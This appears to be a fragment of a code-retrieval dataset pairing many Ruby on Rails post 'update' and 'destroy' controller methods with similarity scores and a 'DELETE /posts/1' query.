"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tif @post.update(post_params)\n\t\t\trender json: @post, status: :success\n\t\telse\n\t\t\trender json: @post.errors, status: :unprocessable_entity #422\n\t\tend\n\tend",
"def update\n @post = Post.find(params[:id])\n @title = \"EDIT\"\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'slam updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @post.update_attributes(params[:post])\n respond_with(@post)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: '' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n title = params[:title]\n body = params[:body]\n\n @post.update!(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @user = current_user\n @post = @user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to :action => 'index', notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if (@post.update(params.permit(:title, :content)))\n render json: @post, status: :ok\n else\n render json: @post.errors, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n #disable edit for now\n redirect_to posts_path\n return\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to magazine_post_path(@post.short_url), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render action: \"show.json.jbuilder\"\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path(@post), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\t\n\t\tpost = @current_user.role == \"admin\" ? Post.find_by(id: params[:id]) : @current_user.posts.find_by(id: params[:id]) \n\t\tif post && post.update_attributes(post_params)\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id, post_desc: post.description}\n\t else\n\t render json: {success: false, message: \"not found or validation failed\"}, status: 422\n\t\tend \n\tend",
"def update\n post = Post.find_by(id: params[:id])\n # byebug\n\n post.assign_attributes(update_params)\n if post.valid?\n post.save\n render json: post, status: :created\n else\n render json: {errors: post.errors.full_messages}, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find_by_slug(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # if @post.update_attributes(params[:post])\n # format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n # format.json { head :no_content }\n #else\n # format.html { render action: \"edit\" }\n # format.json { render json: @post.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n #this works largely the same, \n @post = Post.find(params[:id])\n @post.created_at = params[:created_at] if !!params[:created_at]\n if @post.update_attributes(params[:post])\n render \"show\", handlers: [:rabl]\n else\n render :json => @post.errors.full_messages, status: 422\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to \"/#{session[:username]}\", notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update?(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n delete_caches\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n update_resource_response(@post, blog_post_params)\n end",
"def update\n \n @previous_content = @post[:content]\n respond_to do |format|\n if @post.update_attributes(params[:post])\n \t\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n verify_owner_or_admin(@post)\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: \"Post was successfully updated.\" }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @update = Update.find(params[:id])\n @post = @update.post\n\n respond_to do |format|\n if @update.update_attributes(params[:update])\n format.html { redirect_to @post, notice: 'Update was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render json: {status: 1, id: @post.id.to_s, notice: \"修改成功,标题是:#{@post.title.capitalize}\", errors: []}\n else\n render json: {status: -1, notice: \"修改失败\", errors: @post.errors.fall_message}\n end\n end",
"def update\n params[:post][:tag_ids] ||= []\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to [@post.user, @post], notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n @root_post = root_post_of(@post)\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n @root_post.touch(:updated_at)\r\n update_child_posts(@post)\r\n\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @post.short_body = post_params[:body].split('</p>')[0] + '</p>'\n @post.tags.delete_all\n set_tags\n\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render_forbidden and return unless can_edit?\n @post = Post.friendly.find(params[:id])\n \n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n redirect_to root_path\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7186309",
"0.7040826",
"0.67726034",
"0.6765877",
"0.6668908",
"0.6647892",
"0.6577694",
"0.6555246",
"0.65498155",
"0.6549577",
"0.6534143",
"0.65298116",
"0.64983106",
"0.6496966",
"0.64672637",
"0.6430547",
"0.6427938",
"0.64262456",
"0.6425561",
"0.6418947",
"0.6418713",
"0.64119285",
"0.6399606",
"0.6399606",
"0.63892776",
"0.6381486",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.63693714",
"0.6369277",
"0.6359675",
"0.6359388",
"0.6358113",
"0.63554066",
"0.63554066",
"0.63554066",
"0.63554066",
"0.63474196",
"0.6338535",
"0.6337404",
"0.63322735",
"0.632803",
"0.6318894",
"0.6307735",
"0.6294275",
"0.62898695",
"0.62760407",
"0.62711114",
"0.6270226",
"0.6269743",
"0.6262126",
"0.62509865",
"0.624096",
"0.62273777",
"0.62152874",
"0.6213536",
"0.62052906",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6202538",
"0.6201528",
"0.6195767",
"0.6180281",
"0.6177022",
"0.6173562",
"0.61671066",
"0.6157913",
"0.61549973",
"0.61461097",
"0.61461097",
"0.6141184",
"0.61211485",
"0.611471",
"0.6112152",
"0.6108012",
"0.6106424",
"0.61038446",
"0.60980886",
"0.6096757",
"0.6093663",
"0.60926044"
] | 0.0 | -1 |
DELETE /posts/1 DELETE /posts/1.json | def destroy
@post.destroy
respond_to do |format|
format.html { redirect_to posts_url, notice: "Post was successfully destroyed. #{make_undo_link}" }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n post = Post.find(params[:id])\n if post.destroy\n render json: {status: \"success\", data: {id: params[:id]}}, status: :ok\n end\n end",
"def destroy\n @post.destroy\n render json: {}, status: :ok\n end",
"def destroy\n if @post.destroy\n render json: {\n post: @post\n }, status: :ok\n else\n render status: :bad_request\n end\n end",
"def destroy\n @api_v2_post = Post.find(params[:id])\n @api_v2_post.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v2_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_posts_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticated\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @post = Post.find(params[:id])\n # @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n\n json_response(@post)\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @api_post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n render json: {\n data: {\n post: { key: @post.id },\n status: @post.status,\n }\n }\n end",
"def destroy\n\t\tpost = Post.find(params[:id])\n\t\t# byebug\n \tpost.destroy\n\t posts = Post.all\n \trender json: posts\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to posts_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_path, notice: \"Post removed.\" }\n format.json { render 'destroy' }\n end\n end",
"def delete\n @post = Post.find(params[:id])\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path(client_id:current_user.client.id, per_page:5), notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with Post.destroy(params[:id])\n end",
"def destroy\r\n @post = Post.find(params[:id])\r\n @post.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to root_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @post.destroy\n\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/posts' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n render json: Post.all.as_json\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to blog_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post = Post.find(params[:id])\n @post.destroy\n @title = \"Kill Post\"\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to all_user_posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n head :no_content\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html {redirect_to posts_url, notice: 'Post was successfully destroyed.'}\n format.json {head 200}\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @post.destroy\n respond_to do |format|\n format.html { redirect_to posts_path, notice: 'Post was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_with post.destroy(params[:id])\n end",
"def destroy\n @post.destroy\n \n respond_to do |format|\n format.html { redirect_to post_url, notice: 'Post was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n Post.find(params[:id]).delete\n\n redirect_to '/'\n end",
"def destroy\n # @post = Post.find(params[:id])\n #@post.destroy\n\n #respond_to do |format|\n # format.html { redirect_to posts_url }\n #format.json { head :no_content }\n #end\n end",
"def delete(url)\n raise Error, \"Missing URL\" unless url\n get('posts/delete?uri=' << u(url))\n nil\n end",
"def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post = Post.find_by_slug(params[:id])\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to posts_url }\n format.json { head :no_content }\n end\n end",
